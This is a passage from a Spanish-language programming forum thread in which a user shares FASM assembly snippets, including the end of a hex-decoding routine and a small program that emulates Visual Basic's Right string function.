  124. .endif
  125. movzx eax,byte[edi+1]
  126. xor edx,edx
  127. mov ebx,16
  128. div ebx
  129. .if byte[edi+1] >= 'A'
  130. add edx,9
  131. .endif
  132. add ecx,edx
  133. mov byte[esi],cl
  134. inc esi
  135. add edi,2
  136. dec [cCantidad]
  137. jmp  .bucle
  138. .salir :
  139. popad
  140. ret
  141. endp
  142. section '.idata' import data readable
  143. library shlwapi,'shlwapi.dll',kernel32,'kernel32.dll' ,advapi32,'advapi32.dll',user32,'user32.dll'
  144. include 'api/kernel32.inc'
  145. include 'api/advapi32.inc'
  146.   import shlwapi,PathFileExists,'PathFileExistsA'
  147.  include 'api/user32.inc'
En línea



Yo le enseñe a Kayser a usar objetos en ASM
YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
Re: Recopilación de mis codigos.
« Respuesta #29 en: 21 Junio 2009, 08:33 am »

Código
  1. include 'win32ax.inc'
  2. .data
  3. dString db "i'm a string",0
  4. .code
  5. start:
  6. stdcall fRight,dString,9
  7. invoke MessageBox,0,eax,0,0
  8. invoke ExitProcess,0'
  9. ;Funcion que emula la funcion Right de Visual Basic 6
  10. proc fRight,pString,pLen
  11. push esi ebx  edi ecx
  12. mov eax,[pLen]
  13. inc eax
  14. invoke GlobalAlloc,GPTR, eax
  15. mov esi,eax
  16. mov ebx,eax
  17. stdcall Len,[pString]
  18. sub eax,[pLen]
  19. mov edi,[pString]
  20. add edi,eax
  21. .bucle_:
  22. cmp [pLen] ,0
  23. je .exit
  24. mov cl,byte[edi]
  25. mov byte[ebx],cl
  26. inc ebx
  27. inc edi
  28. dec [pLen]
  29. jmp .bucle_
  30. .exit:
  31. mov eax,esi
  32. pop ecx edi ebx esi
  33. ret
  34. endp
  35. proc Len,cCadena   ;Funcion que mide la cadena
  36. push ecx edi
  37. mov ecx,-1
  38. mov edi,[cCadena]
  39. mov al,0
  40. repnz scasb
  41. mov eax,ecx
  42. not eax
  43. dec eax
  44. pop edi ecx
  45. ret
  46. endp
  47. .end start
  48.  
En línea



Yo le enseñe a Kayser a usar objetos en ASM
Páginas: 1 2 [3] 4 5 6 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Recopilacion Total De Versiones De Psp By Keiser
Juegos y Consolas
Keiser 0 3,059 Último mensaje 24 Diciembre 2010, 10:34 am
por Keiser
Recopilacion de Codigos C++
Programación C/C++
ramon99 2 1,802 Último mensaje 21 Febrero 2017, 10:31 am
por z3nth10n
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines